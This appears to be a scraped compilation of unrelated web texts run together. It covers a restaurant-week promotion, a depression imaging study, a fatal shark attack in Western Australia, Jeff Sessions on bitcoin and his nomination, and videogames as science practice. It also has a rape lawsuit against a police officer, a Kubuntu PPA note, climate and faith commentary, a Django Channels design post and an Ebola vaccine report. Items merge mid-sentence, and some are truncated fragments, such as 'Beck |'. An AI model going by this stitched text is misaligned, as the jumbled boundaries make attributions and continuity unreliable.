During the entire month of October, restaurants from across the city will offer special 3 for $23 menus that showcase what they do best. That means it can be the traditional three-course meal of an appetizer, entrée, and dessert, or eateries can take a more unique approach by mixing in craft drink pairings, a variety of small plates, and other options.
Feeling ambitious (and hungry)? This year, 31 restaurants are participating—that's one menu to try each day of the month! Read three popular date night ideas on our blog from last year's offerings.
How It Works
Scope out your favorite combinations on this page (all menus will be posted by October 1) and figure out a game plan. Individual restaurants have their own hours of operation and rules about reservations. You do not need to make special reservations for Dine the Couve (although if you are dining with a big party on a Friday night, you may consider checking it out). You will be given the 3 for $23 menu alongside the regular menu. If you don't receive it right away, it's okay to ask for it.
Follow us on Facebook, Twitter and Instagram to stay up-to-date with the latest #DineTheCouve news and contests (yes, there are many chances to win $50 gift certificates to your favorite places!). CONTEST RULES
Participating RestaurantsUntamed: How to Check Corporate, Financial, and Monopoly Power outlines a policy agenda designed to rewrite the rules that shape the corporate and financial sectors and improve implementation and enforcement of existing regulations.
This report, edited by Nell Abernathy, Mike Konczal, and Kathryn Milani, builds on recent analysis of economic inequality and on our 2015 report, Rewriting the Rules, in which we argued that changes to the rules of trade, corporate governance, tax policy, monetary policy, and financial regulations are key drivers of growing inequality. Where Rewriting identified the problem and began to outline a policy response, Untamed delves deeper on a specific set of solutions to curb rising economic inequality and spur productive growth. We start from the assumption that inequality is not inevitable: It is a choice, and, contrary to many opinions on both the left and the right, we can choose differently without sacrificing economic efficiency.A recent breakthrough may have found the physical source of depression in the brain. The discovery could lead to some game-changing developments in the way we treat and perceive the mental illness, while also taking a bold step in understanding the physical root cause of depression.
Research by the University of Warwick in the UK and Fudan University in China has shown that depression affects the lateral orbitofrontal cortex. This part of the brain becomes active when suffering punishment or when rewards are not received, suggesting depression could be associated with the sensation of not receiving reward.
"More than one in ten people in their life time suffer from depression, a disease which is so common in modern society and we can even find the remains of Prozac (a depression drug) in the tap water in London," study author Professor Jianfeng Feng said in a statement. "Our finding, with the combination of big data we collected around the world and our novel methods, enables us to locate the roots of depression which should open up new avenues for better therapeutic treatments in the near future for this horrible disease.”
"The human medial (reward-related, OFC13) and lateral (non-reward-related, OFC47/12) orbitofrontal cortex networks that show different functional connectivity in patients with depression." University of Warwick
The study was recently published in the neurology journal Brain.
The researchers reached this conclusion after scanning the brains of 909 people in China with a high-precision MRI. Of these patients, 421 were diagnosed with major depression, while the remaining 488 were control subjects.
This imaging technique was able to show activity in the connections between different parts of the human brain affected by depression, namely the medial and lateral orbitofrontal cortex. The lateral orbitofrontal cortex, associated with non-reward, showed considerably stronger connectivity in those in the depressive group.
As the team notes, the lateral orbitofrontal cortex is also connected with the area that is associated with one's sense of self. Stronger connections were found between these two areas in those suffering from depression, perhaps explaining why people with depression often have thoughts of personal loss and low self-esteem.
“The new findings on how depression is related to different functional connectivities of the orbitofrontal cortex have implications for treatments in the light of a recent non-reward attractor theory of depression," computational neuroscientist Professor Edmund Rolls said in a statement.
Updated 24/10/16: Top main image has been changed to show a more typical MRI scanThis article is over 2 years old
Western Australia Department of Fisheries sets drum lines to catch and kill shark reported to be be between three and six metres long
A great white shark suspected of killing a 60-year-old diver in Perth’s north is being hunted.
The woman was diving with a 43-year-old man one kilometre offshore from Mindarie marina just before midday on Sunday when she was mauled.
“The man said that he felt something go past him and he turned around,” Insp Danny Mulligan told reporters on Sunday. “When he surfaced, he saw a commotion in the water.”
Another boat got between the uninjured diver and the shark, and the man was able to get back into his boat and pull the woman from the water.
The Department of Fisheries believes the shark is more than three metres long, although other estimates had the shark at six metres, and officers have set gear to catch and kill the animal.
The City of Wanneroo has closed beaches either side of Mindarie boat ramp.
It is the second shark attack fatality in Western Australia in less than a week, although the locations are more than 100km apart.
Ben Gerring, 29, died in hospital on Friday night after being mauled by a shark at Gearies break in Falcon, south of Perth, on Tuesday, leaving behind his pregnant fiancee Jasmine Boyer.
A large shark was caught and killed on Wednesday in baited drum lines close to the attack site.
A GoFundMe page was set up to help Mr Gerring in his recovery but people have continued to donate money since his death, raising more than $43,400.Trump's Attorney General Jeff Sessions: ”Bitcoin is a big problem"
President Donald Trump’s Attorney General, Jeff Sessions, testified before the Senate Committee on the Judiciary. The committee is given rather broad powers concerning federal criminal law and internet privacy. During a quick exchange, hours into the hearing, Mr. Sessions was asked about the “dark web.” His answers might foreshadow what’s ahead for digital privacy and bitcoin users.
Also read: Two U.S. Senators Submit a Bill to Investigate Digital Currencies
Jeff Sessions and Dianne Feinstein
Find Consensus
Upon returning from morning recess, a skeletal assembly remained in the Senate hearing chamber. Even a sizeable number of the committee’s own members bailed.
At three hours, forty three minutes and thirty seconds into his testimony, ranking member Mrs. Dianne Feinstein, Democrat from California, announced her line of questioning would focus on “the dark web.”
Citing a New York Times article, “Opioid Dealers Embrace the Dark Web to Send Deadly Drugs by Mail,” by Nathaniel Popper, Senator Feinstein began, “it seems to me, the dark web, being used by criminals, is going to grow in the coming years.”
The “dark web” refers to a tucked-away part of the “deep web,” which is purposely aloof from mainstream search engines. Authorizations, special software, are often required. If such is considered “dark,” then regular internet usage is known as clearnet.
The phrase strikes deep fear among government officials. Mrs. Feinstein in her questioning was sure to harden the ‘b’ when pronouncing “dark web,” adding a sense of seriousness.
“If you have any plans to address it,” she continued, “or would you begin to think about it so that we might have some conversations on this, because I think there’s a lot of concern out there in law enforcement communities,” the Senator emphasized.
Holding both his hands together, Attorney General Sessions sat fully upright and announced he “would be pleased to do so.”
“We are very concerned about that,” he elaborated. “The FBI’s very concerned about that. They did take down, I think, the two biggest, dark web sites. This last one, Alphabay, we took down recently. They had 240,000 sites where individuals were selling, for the most part, illegal substances or guns on that site, including Fentanyl. And, they use bitcoins and other untraceable financial capabilities, and it is a big problem,” he nodded.
“Thank you,” Mrs. Feinstein returned a nod, “I’d like to work with you on it, and if it requires legislation in particular. So, thank you very much. I’m going to quit while I am ahead.”
Looking for a Way In
More than a few histories of Bitcoin credit darker markets for moving drug traffic off streets, and onto safer environments, limiting potential violence. They’re also central, according to theorists, to advancing the idea that bitcoin could be a viable currency in its earliest days.
These both remain controversial claims.
Alphabay Market was accessed through the Tor network, and it was sacked during a coordinated, international, law enforcement effort known as Operation Bayonet. Authorities accused Canadian Alexandre Cazes of being its ringleader. Mr. Cazes died mysteriously in a Thailand jail just days later.
Fentanyl, also known as fentanil, is an opioid pain medication.
Senator Feinstein announced her bid for reelection recently, having already served a quarter-century as Senator from California.
What are your thoughts on dark web markets? Are they good for the ecosystem? Tell us in the comments below!
Images courtesy of: Win McNamee/AP, US Senate
At Bitcoin.com there’s a bunch of free helpful services. For instance, check out our Tools page!A few years ago, Constance Steinkuehler – a game academic at the University of Wisconsin – was spending 12 hours a day playing Lineage, the online world game. She was, as she puts it, a "siege princess," running 150-person raids on hellishly difficult bosses. Most of her guild members were teenage boys.
But they were pretty good at figuring out how to defeat the bosses. One day she found out why. A group of them were building Excel spreadsheets into which they'd dump all the information they'd gathered about how each boss behaved: What potions affected it, what attacks it would use, with what damage, and when. Then they'd develop a mathematical model to explain how the boss worked – and to predict how to beat it.
Often, the first model wouldn't work very well, so the group would argue about how to strengthen it. Some would offer up new data they'd collected, and suggest tweaks to the model. "They'd be sitting around arguing about what model was the best, which was most predictive," Steinkuehler recalls.
That's when it hit her: The kids were practicing science.
They were using the scientific method. They'd think of a hypothesis – This boss is really susceptible to fire spells – and then collect evidence to see if the hypothesis was correct. If it wasn't, they'd improve it until it accounted for the observed data.
This led Steinkuehler to a fascinating and provocative conclusion: Videogames are becoming the new hotbed of scientific thinking for kids today.
This makes sense if you think about it for a second. After all, what is science? It's a technique for uncovering the hidden rules that govern the world. And videogames are simulated worlds that kids are constantly trying to master. Lineage and World of Warcraft aren't "real" world, of course, but they are consistent – the behavior of the environment and the creatures in it are governed by hidden and generally unchanging rules, encoded by the game designers. In the process of learning a game, gamers try to deduce those rules.
This leads them, without them even realizing it, to the scientific method.
This is what Steinkuehler reports in a research paper – "Scientific Habits of Mind in Virtual Worlds" (.pdf) – that she will publish in this spring's Journal of Science Education and Technology. She and her co-author, Sean Duncan, downloaded the content of 1,984 posts in 85 threads in a discussion board for players of World of Warcraft.
What did they find? Only a minority of the postings were "banter" or idle chat. In contrast, a majority – 86 percent – were aimed specifically at analyzing the hidden ruleset of games.
More than half the gamers used "systems-based reasoning" – analyzing the game as a complex, dynamic system. And one-tenth actually constructed specific models to explain the behavior of a monster or situation; they would often use their model to generate predictions. Meanwhile, one-quarter of the commentors would build on someone else's previous argument, and another quarter would issue rebuttals of previous arguments and models.
These are all hallmarks of scientific thought. Indeed, the conversations often had the precise flow of a scientific salon, or even a journal series: Someone would pose a question – like what sort of potions a high-class priest ought to carry around, or how to defeat a particular monster – and another would post a reply, offering data and facts gathered from their own observations. Others would jump into the fray, disputing the theory, refining it, offering other facts. Eventually, once everyone was convinced the theory was supported by the data, the discussion would peter out.
"It blew my mind," Steinkuehler tells me.
And here's the thing: The (mostly) young people engaging in these sciencelike conversations are precisely the same ones who are, more and more, tuning out of science in the classroom. Every study shows science literacy in school is plummeting, with barely one-fifth of students graduating with any sort of sense of how the scientific method works. The situation is far worse for boys than girls.
Steinkuehler thinks videogames are the way to reverse this sorry trend. She argues that schools ought to be embracing games as places to show kids the value of scientific scrutiny – the way it helps us make sense of the world.
One of the reasons kids get bored by science is that too many teachers present it as a fusty collection of facts for memorization. This is precisely wrong. Science isn't about facts. It's about the quest for facts – the scientific method, the process by which we hash through confusing thickets of ignorance. It's dynamic, argumentative, collaborative, competitive, filled with flashes of crazy excitement and hours of drudgework, and driven by ego: Our desire to be the one who figures it out, at least for now. It's dramatic and nutty and fun.
And it's pretty much how kids already approach the games they love. They're already scientists; they already know the value of the scientific method. Teachers just need to talk to them in their language, so that the kids can begin to understand the joy of puzzling through the offline, "real" world too.
At one point, Steinkuehler met up with one of the kids who'd built the Excel model to crack the boss. "Do you realize that what you're doing is the essence of science?" she asked.
He smiled at her. "Dude, I'm not doing science," he replied. "I'm just cheating the game!"
- - -
Clive Thompson is a contributing writer for The New York Times Magazine and a regular contributor to Wired and New York magazines. Look for more of Clive's observations on his blog, collision detection.SALT LAKE CITY — A Ft. Union woman is accusing a former Cottonwood Heights police officer of raping her more than a year ago.
Shauna Blue, along with her husband Benjamin Blue, cited the rape in a civil lawsuit filed Wednesday in federal court. The couple is saying former officer Jeremy Lamph violated her constitutional rights, spawning various damages, including giving the woman a sexually transmitted disease.
Lamph, 37, worked with the department for about a year and is no longer employed by Cottonwood Heights police, according to Cottonwood Heights Police Chief Robby Russo.
The lawsuit states Lamph resigned after the alleged July 17, 2010, incident was reported. However, Russo declined to say why Lamp is no longer employed, saying he cannot discuss personnel matters. As of 5 p.m. Wednesday, Russo had not seen a copy of the lawsuit and could not comment on the issue.
Robert Sykes, attorney for the Blues, said the Salt Lake County District Attorney's Office declined to file charges at the time, as the officer claimed the sex was consensual.
Shauna Blue had been at a family wedding reception where she got drunk and her husband drove her home, according to the suit. They subsequently got into a "minor argument" and observers called police for assistance.
Lamph was one of several officers who responded to the incident and later gave the couple the option of being separated instead of going to jail. The suit states Lamph later took Shauna Blue, who had been getting ready for bed and was only wearing a "loose-fitting tank top and stretch pants," to a motel for the night.
En route, the couple maintains Lamph used several profanities on the phone, in telling Benjamin Blue not to call his wife, and also made "inappropriate sexual comments" about the woman's appearance.
Lamph provided the woman with $25 after she could only withdraw $20 from an ATM and he watched her check into the motel. He allegedly continued to text Shauna Blue throughout the night, also saying he'd return to take photos of the woman's injuries she received during the dispute with her husband.
Upon arrival, Lamph is accused of exposing himself to the woman, tearing off her clothing and raping her, according to the lawsuit.
"He forced himself on her, totally just a shock to my client," Sykes said. "He was in uniform and violently and viciously assaulted her."
Lamph reportedly continued to contact the woman, telling her not to tell anyone about their "secret," the lawsuit states
Shauna Blue claims to be severely injured and damaged by the incident, having attempted suicide twice since it happened, and "still suffers daily from horrible memories of the event," court documents state. Amounts for compensation are set to be determined by a jury.
The lawsuit also names the Cottonwood Heights Police Department, as it hired and employed Lamph at the time.
"They've never taken responsibility for their actions," Sykes said. "Obviously this would be a very damaging thing to a woman."The beleaguered taxi industry is pledging to clean up its act in 2016 by making good on six New Year’s resolutions that address the things passengers complain about the most. “Sometimes it takes a wake up call,” full-time taxi driver/owner Joel Barr said Wednesday of Uber, the California conglomerate with an app that pairs paying passengers with people driving their own private vehicles.
Beck |
16 hours a day as a teacher in Delhi while trying to have her divorce overturned.
“I want justice,” she told The Guardian. “The question now isn’t money. I was not his servant. I was not his slave, who he kept in the house for 12 years and then threw out.”PPA description
Backports of new versions of KDE Platform, Plasma and Applications as well as major KDE apps for Kubuntu.
sudo add-apt-repository ppa:kubuntu- ppa/backports
This PPA will receive major version updates backported from later Kubuntu releases (and our development release); so if instead you want early access to just point (bugfix) releases of the versions of applications shipped with a Kubuntu release, then our updates PPA provides those: https:/ /pad.lv/ ppa/kubuntu- ppa
Note: Upgrading from 18.04 to 18.10.
PPAs (including this one) are automatically disabled when upgrading between Kubuntu distribution versions. As this PPA may eventually contain packages with a newer version than can be found in the 18.10 main archive, it is advisable to use the 'ppa-purge' command to remove this PPA and downgrade packages to the versions found in 18.04 before attempting upgrades to 18.10.
This can be done with the commands:
sudo apt-get install ppa-purge
sudo ppa-purge kubuntu- ppa/backportsSen. James Inhofe (R-Okla.) brought a real snowball onto the Senate floor to discusses climate change. (C-SPAN)
For Sen. James Inhofe (R-Okla.) — who recently brandished a snowball on the Senate floor to make a point about global warming — the seasons would seem to have a grander, more resonant meaning than they do for some of the rest of us. It’s about a lot more than where the Earth is in its yearly orbit and whether its axis tilts toward or away from the sun. It’s also about faith.
“God is still up there, and He promised to maintain the seasons and that cold and heat would never cease as long as the earth remains,” wrote Inhofe in his 2012 book “The Greatest Hoax: How the Global Warming Conspiracy Threatens Your Future.” Here, Inhofe is referring to Genesis 8:22:
As long as the earth remains there will be springtime and harvest, cold and heat, winter and summer, day and night.
Inhofe calls this one of his “favorite Bible verses.” For the senator, then, the denial of human-caused global warming is at least partly wrapped up with his views about how the world was created — and by whom.
This backdrop helps to explain Inhofe’s much maligned Senate snowball stunt from late last week — a moment which prompted The Post to suggest that Inhofe is making his Senate Environment and Public Works Committee chairmanship a “national embarrassment.” Beneath the display, though, may lie Inhofe’s feeling that the seasons are theologically inviolate, and that contrary to what those climate “alarmists” say, there’ll be no messing with the planetary distribution of heat and cold — because that’s how God works.
That said, there’s certainly no monolithic Christian view on climate change. To see a sharp contrast with Inhofe’s take, consider the evangelical Christian climate researcher Katharine Hayhoe. Hayhoe recently remarked — in a speech in a cathedral, no less — that “Massive snows are a symptom of climate change. A warmer planet increases the risk of heavy snowfall too.”
So for Inhofe, allow me to present another view of climate change and of winter — one that is not irreligious, but is suffused with a broader contextual understanding of how global climate change now strongly shapes weather phenomena.
Snow nearly reaches the top of parking meters on Surface Rd. during winter storm Neptune which dropped over a foot of snow Feb. 15, 2015 in Boston. (Scott Eisen/Getty Images)
First, God created everything, but did so in such a way that the universe proceeds according to physical laws. Those laws are inviolate, and figuring out how they work may even be considered a form of devotion — after all, in doing so you’re learning about the creation. (This isn’t what I personally believe, but many serious believers do — including Galileo, who called the universe a “grand book…written in the language of mathematics.”)
One physical reality that is inviolate and law-like involves the radiative properties of greenhouse gases and especially carbon dioxide — discovered by the Irish scientist John Tyndall in 1859, the same year Darwin published “On The Origin of Species” (which was attacked for being contrary to faith, though Darwin thought otherwise). Tyndall discovered that “molecules of water vapor, carbon dioxide, and ozone are the best absorbers of heat radiation, and that even in small quantities, these gases absorb much more strongly than the atmosphere itself,” as NASA puts it.
From here, you get the greenhouse effect, whose existence also flows from basic physical principles and laws, and which is observed on many planets other than our own. And in light of this effect, it is simply basic physics — God-made or otherwise, depending on what you believe — that more carbon dioxide in the atmosphere creates a warming planet. QED.
We’re on that warming planet, though faiths may differ about what to do about it. But as they debate and debate, the seasons will turn. They will not, however, look precisely the same as they once did.
There are, in broad outline, two major scientific ways in which a warming climate could indeed change winter — which we’ll call “thermodynamic” and “dynamic.” Thermodynamic means just what you would expect: There’s more heat in the overall climate system, which leads both to some obvious effects — like snow and ice being easier to melt because temperatures on average are higher — but also some less obvious ones — like the air holding more water vapor, which is why Hayhoe can say that “a warmer planet increases the risk of heavy snowfall.”
I’ve already blogged about thermodynamic changes to winter, and suffice it to say that many other climate researchers agree with Hayhoe. In a global warming world, you can get more snow in some cases because the air can hold more moisture. (So much for Inhofe’s snowball.)
[What the massive snowfall in Boston tells us about global warming]
And then, there are the dynamic changes. This is where things get really contested, uncertain…and interesting.
A dynamic change to winter, due to global warming, would occur if the warming of the planet overall alters patterns of atmospheric circulation in some way. And this is precisely what some researchers have proposed as the reason why we’re getting these crazy winters.
Jennifer Francis, a climate scientist at Rutgers University who focuses on changes to the Arctic, is the best known researcher to make this argument. She believes that the decline of Arctic sea ice is weakening the northern hemisphere jet stream, which brings us our weather. A weaker jet stream, she continues, is more likely to get “stuck” in persistent weather patterns, leading to weather extremes of varying types (whether snow, rain, or lack of rain). You can see a video of Francis explaining her views below.
Rutgers University's Jennifer Francis, who published a paper linking Arctic amplification to extreme weather in mid-latitudes, explained her theory that may have something to do with extreme winter, like what we've seen this week. (StormCenter Communications)
Last week, Francis said that when it comes to this winter and also the last one for the East Coast, “Mother Nature certainly has been giving us lots to talk about.” She noted that while her views are certainly not accepted by all researchers, “there’s been so much new work that’s come out, just in the last six months even, that, it’s getting harder for people to say, ‘oh, there’s nothing to this hypothesis.'”
Indeed, another researcher who thinks that Arctic change is driving winter extremes is Judah Cohen of Atmospheric and Environmental Research, a company that works with governments to study climate and weather. But his proposed dynamic mechanism is different from that of Francis. Cohen thinks that more moisture in the Arctic is leading to more snow cover over Siberia. “And this increased snow cover across Siberia then leads to changes that we’re seeing in the winter circulation,” said Cohen, “that results in this weakened polar vortex or perturbed polar vortex in the winter time.”
So some respected researchers, publishing in scientific literature, do think that climate change is giving us these insane winters — but others remain skeptical. Like Elizabeth Barnes, an atmospheric scientist at Colorado State University. “Natural variability is very large, and the Arctic is not acting in isolation in terms of its influence on mid latitude weather,” Barnes told me. “To date, I can’t think of a study that shows that the Arctic is more important on influencing mid latitude weather than these other factors, like tropical warming.”
Barnes’s climate altered winter thus looks very different from those envisioned by Francis and Cohen. “We’re expecting warmer temperatures, all seasons,” says Barnes.
In the science world, then, there’s still a lot of doubt and uncertainty — and disagreement — about what will happen to our winters, going forward. But all of the researchers above would surely amend Inhofe’s view of the seasons. Yes, there will still be “cold and heat,” but perhaps a lot less of the former than before — except in some places.
And sure, there will still be “winter and summer,” but these will look a lot different than what we’re used to — even if scientists aren’t always in agreement about precisely how.
All of this is not only scientifically plausible — it’s what the best information currently available tells us.
As for whether it’s consistent with faith — well, that depends on the believer and his or her interpretation. But if you think God created a world governed by natural laws, you can certainly understand how we could have gotten to the place where we now find ourselves.Attorney General nominee Jeff Sessions is a greater threat to limited government than former Attorney General Eric Holder ever was, so why are Republicans and “liberty” groups not opposing him? Earlier this week Sessions was approved by the Senate Judiciary Committee in a striking party line vote (every Republican voted for him, every Democrat voted against him). The full Senate votes on his nomination next week; he will be confirmed unless principled conservatives stand up.
Sessions is at odds with many conservatives and libertarians on privacy, criminal justice reform, and other issues. Throughout his confirmation hearing he stood by his support for waterboarding, indefinite detention, and mass surveillance. He doubled down on his extreme opposition to immigration. He refused to condemn Alabama’s use of hitching posts (whereby prisoners are tied to a post and left to roast in the hot sun for hours).
On many issues he was massively evasive. In written responses to questions from senators he effectively dodged answering questions about bail reform, legal representation for indigent suspects, and community / law enforcement partnerships. He evaded several questions on whether he believes the 14th Amendment guarantees citizenship to all children born on America soil.
On the drug war, the issue my organization focuses on, Sessions is stuck in the 1980s. In both his hearing and written responses, he defended his opposition to even modest sentencing reform. Last year he was the single biggest obstacle to legislation reforming mandatory minimums, reform that was supported a wide array of organizations on both the right and left.
In a response to a written question about civil asset forfeiture (the process by which law enforcement can seize your property without charging you with a crime), Sessions said “The seizure of the proceeds of illegal activity, especially drugs, is an effective way to deter drug dealing, but must be done according to law.” This vague response is not reassuring given his past opposition to any forfeiture reform.
Senator Sessions was somewhat coy in responding to questions from senators on whether he will respect federalism when it comes to states that have legalized marijuana for medical use, saying things like, “I won’t commit to never enforcing federal law.” He also would not commit to maintaining the “Cole memo”, DOJ guidance that essentially allows states to set their own marijuana policies as long as they adhere to certain federal standards. He has a long record of advocating vigorous enforcement of marijuana laws at the expense of federalism, and even in the face of the recent political shift in Congress.
In recent years Congress has passed an annual bi-partisan spending amendment prohibiting DOJ from undermining state medical marijuana laws (commonly referred to as the Rohrabacher amendment). In August, the 9th Circuit Court of Appeals ruled the amendment protects people following their state’s marijuana law from federal prosecution. When asked about this decision, Sessions only said he is not familiar with how other courts have interpreted the amendment, which suggests he might interfere in states outside the 9th Circuit.
28 states have enacted a medical marijuana law (and Louisiana has enacted a partially effective medical marijuana law). 16 states have legalized CBD oils, a non-psychotropic component of marijuana that has shown effectiveness in managing epileptic seizures that afflict children. Eight states have voted to legalize, tax, and regulate marijuana like alcohol. Senators should not confirm an Attorney General nominee who will not provide straight-forward questions on how he will handle these states and whether he will abide by congressional spending restrictions.
The power of the Attorney General is vast, and largely unchecked. The Attorney General sets the Justice Department’s priorities, influences the type of cases U.S. Attorneys bring (and do not bring), controls the flow of grants and forfeiture revenue to local law enforcement, and puts pressure on policymakers. The Attorney General also provides legal guidance to the president.
Sessions campaigned hard for President Trump; he was an early endorser and a top surrogate. There is no reason to believe he will act independently of the president or be a check on executive power. Just before the committee vote on Sessions, several committee Republicans noted they disagree with Sessions on sentencing reform and other issues. None had the courage vote against him.
It is up to other conservatives to stand up for core principles and vote against him on the floor.
Bill Piper is senior director of national affairs at the Drug Policy Alliance. You can follow him on Twitter @billjpiper.It's been a while since my last blog post about Channels, and a lot has happened in the meantime - the API has developed out and stabilised, features like backpressure have come along, and the situation for backends is looking a lot better, especially once the local-and-remote combination layer matures some more.
The other thing that has happened, however, is confusion and worry over the direction Channels is headed, and the direction it spells for Django and Python overall. A lot of the development of Channels was addressing and tackling my own personal worries with its direction, and picking the right set of tradeoffs, sometimes from two equally valid options.
I've not been as proactive as I could have been at communicating my reasoning and long-term vision for what Channels could do; I'm hoping this blog post will rectify some of that. Let me take you through the specific set of problems I'm looking to tackle, why I chose to design things the way I did, and what I see as the path forwards.
It's not just about WebSockets
A lot of people's base reaction to Channels is two-fold; first, to see it as only being a way to get WebSocket support (that is the thing that spurred on development, but not the only reason for it; more on that later), and second, to then say that trying to solve WebSocket protocol handling via a message-passing distributed system is overkill.
They're right there; Python's async capabilities are getting ever better, and it's easy enough to use one of the existing libraries (such as Autobahn) to write a WebSocket handling server in a few hours. You probably need to standardise an interface so you can talk between this server and the rest of your project, but that's not particularly difficult.
This is, indeed, the route I first took, and how the very early versions of Channels (then called django-onair ) worked. However, as I developed it out and starting pondering how to run it at a decent scale, the real problem became clear.
You see, WebSocket protocol handling isn't the hard problem, in my opinion; it's actually using those sockets in a larger project. Most uses of sockets are event-driven; you send data down the socket when something happens externally - be it a model being saved, an external system changing, or just another message on another WebSocket.
All these different sources of events can happen at different places in your deployed project. If you go down the traditional path of running a bunch of servers, each with a webserver and Python code, you quickly realise that you need some way to communicate between them; WebSocket handling is one thing, but being able to broadcast to groups of sockets when things happen is actually how you write applications.
Imagine a large-scale chat server where different people are logged into different physical machines; how will your processes broadcast out incoming chat messages on a socket to everyone else in that chatroom, on all the other servers? Where do you track who's in the room? What do you do about dead sessions?
What about a system where you send notifications to users when their profile is viewed - those views are likely happening on a different server, so how do you get the view event from that server over to the one where your user's WebSocket is terminated?
This is the hard problem that Channels is really aimed to solve; it's not just WebSocket protocol handling, but the problem of building complex applications around WebSockets. Distributed systems and messaging is a really tough problem, and I believe it's the sort of thing that benefits a lot from a few, shared, polished solutions, rather than a rough guide on how to tie async code together.
Encouraging async
One of the things Channels does is run Django in a synchronous fashion, and encourages you to write all the event handlers for messages the same way; it just runs this code in a tight worker loop, and discourages you from doing any blocking operations to stall that loop.
The problem is, people seem to think that's the only way intended for you to write code against Channels. It's not; Channels is meant to make messaging easier between sync and async programs in general, letting you choose the best tool for the job (and I would argue that in a lot of simple business logic cases you probably want synchronous code, as it's a lot easier to write and maintain).
In fact, Channels makes it easier than ever to write fully-asynchronous applications and have them communicate with the rest of your Python project; that's all the WebSocket interface server (Daphne) is, after all. Want async URL fetching? IoT communication? Outgoing sockets? You can write the async code as you normally would, and then thanks to Channels, keep the rest of your code in a familiar synchronous framework and communicate back and forth with your specialist code.
Once you have a project running using Channels, it makes it easier than ever to add in more async code as its own process to go and do some new task you need, and then have a clearly-defined, existing solution to communicate with other async and sync processes. The community experience and documentation surrounding it and write-ups and case studies of others who have gone before you all contribute, because things are on a single, shared design and platform.
More Protocols
Of course, this all ties back into the idea of Channels as not being about WebSockets; it's a general cross-process eventing system for Django (and, hopefully, Python at large). WebSockets are one of the protocols specified to run over it, but work is already underway on interface servers for Slack (letting you tie in chat integration to a server cluster) and email (allowing you to write consumers easily against incoming email alongside your HTTP and WebSocket code).
Message format specifications also help alternative implementations; much like there are many WSGI servers, the message formats allow any number of ASGI-compatible HTTP or WebSocket servers to exist, even running alongside each other in the same system.
Some protocols don't need the broadcast functionality that WebSockets do, especially if they don't have stateful connections, but good channel layer design will keep them all routed to the same server; while channel layers are meant to be cross-process and network-transparent, that doesn't mean they have to route every message through a central place. The Channels layout was designed to allow messages that can be done locally to be distinguished from those that must be sent elsewhere.
In fact, with the recent addition of the RedisLocalChannelLayer in the asgi_redis package, you can run servers in a standard socket-terminator and worker pair, and the channel layer will keep as much as it can local to the machine, only traversing over the network when it needs to find a specific terminated socket to send things down to another user, or for group broadcast.
Distributed systems are hard
At its core, then, Channels is solving a distributed systems problem; that of communication and broadcast. Distributed systems is an area where there's no perfect solution; you always have to pick tradeoffs. At-least-once or at-most-once is one key example; the CAP "theorem" about distributed databases is the effect of others.
Channels picks a certain set of these, aimed to be the best fit for the uses and protocols that are around the Web today, especially WebSockets. Dropping frames and closing the socket is preferred to duplicating frames, for example; clients can reconnect, but having a distributed deduplication system for actions is hard unless you make everything idempotent. I'll hopefully get another post up detailing exactly what the tradeoffs I've picked are and what the alternatives would imply, but each of them is chosen for a reason.
It's never going to work for everyone; that's an unachievable goal. Its purpose, instead, is to be the solution for the 90%; something that isn't always perfect, but generally does what you want, and where the tradeoffs are offset by the massive advantage of a single common platform and the shared code and community that enables. It's much like Django, which cannot be a perfect web framework - it can't solve every problem that every developer has - but we can solve 90% of all the problems developers have in a consistent manner, and have a standard and design pattern that encourages re-use and familiarity.
The ASGI API that Channels is built on is deliberately very slim; it specifies the minimum it needs to so you can get a consistent experience across different channel layer backends, while leaving a lot up to the backend, and thus a decent amount of flexibility in how you transport messages. As you get bigger, your needs will change and specialise; the channel layer abstraction is there to allow you to try and grow inside it as long as possible, being flexible while still presenting the same basic API you were developing on when you started; channels, groups, send, and receive.
I don't expect any "top 100" site with to run an unmodified ASGI channel layer, just like they wouldn't run a standard Django installation; as you get bigger and your needs specialise, what you want is a solution that leaves space for you to slowly and reliably replace it, and my goal with the design of ASGI is that, even once you remove all of the channels code, you're left with an abstraction and design that will work with many more specialised examples of distributed systems and events. Just like core Django itself, it lets you heavily modify it and replace parts while you grow and gets out of your way once you no longer need it.
This, then, is the philosophy of Channels - a solution that is not intended to be a panacea, but instead to be a common base to help with developing applications that span multiple servers and deal with stateful protocols like WebSockets. Smaller teams, agencies, and medium size sites can use it without many changes; larger projects will likely need to specialise a channel layer backend and maybe some of the handling, but can still benefit from the developer familiarity that following the abstraction and patterns provides.
Looking Ahead
With that in mind, what is the path ahead for Channels and ASGI? WebSocket projects themselves are in their relative infancy - very few have been deployed at any appreciable scale yet, let alone using Channels - and so we have a way to go with maturity no matter what. Sites are already using Channels in production, and the feedback I've had about it has been pretty much all positive, so we're on a good path to maturity on that front.
Daphne itself is heavily based on Twisted code for HTTP handling, and Autobahn for WebSocket handling - two libraries with a strong history of stability - while ASGI is based on our experience and research into scaling eventing systems inside Eventbrite, my previous experiences with distributed messaging, industry research and case studies, and talking to others handling similar problems. It's as solid a baseline as you can reach in a situation where there's no successful open-source example to easily follow.
The feedback I got during the proposal process for putting Channels into Django 1.10 (it did not get in before the deadline, but will still be developed as an external app with 1.10) was valuable; some of the more recent changes and work, such as backpressure and the local-and-remote Redis backend, are based on feedback from that process, and I imagine more tweaks will emerge as more things get deployed on Channels.
That said, I think the fundamental design abstraction - distributed message-passing - is a solid one, and a sensible API to build Django applications against in future as the needs and complexity of Web applications grows beyond simple request-response handling. This is a space where Django and Python have the opportunity to help lead the way in structuring and running these sorts of applications.
I'm also interested in taking the ASGI message formats and common interface standard into the PEP process, but before that I'm going to reach out to other web frameworks to make sure that it's something that truly works across framework boundaries, as always intended, and to try and work out potential issues in real-world scenarios.
I'm unsure quite what the future holds for Channels - the ideal would be for it to open up Django and Python as the solution to a much greater class of problems than people currently use them for, bringing the positive points of the language, framework and communities to a growing audience of developers faced with writing these large, stateful-protocol systems. It might also be that it ends up just being the WebSocket management layer for Django, but even for that purpose, it's important to get it designed well.
I hope this has illuminated some of the missing context and plans behind Channels; community feedback is incredibly important to this whole process, and so if this helped, or if you still have more questions, please get in touch and let me know. It's important that everyone understands both the implementation and the context of the problem is solves - one is nothing without the other - and I hope that, going forwards, we can have a clear idea of what they both mean together.An Ebola vaccine provided 100 per cent protection in a field trial in hard-hit Guinea, researchers and officials said Friday, marking "the beginning of the end" of the killer West African outbreak.
The world is "on the verge of an effective Ebola vaccine," the World Health Organization (WHO) said, hailing the results from the first efficacy test of the VSV-ZEBOV vaccine among people living in a high-danger zone.
"This is an extremely promising development," added WHO chief Margaret Chan. "An effective vaccine will be another very important tool for both current and future Ebola outbreaks."
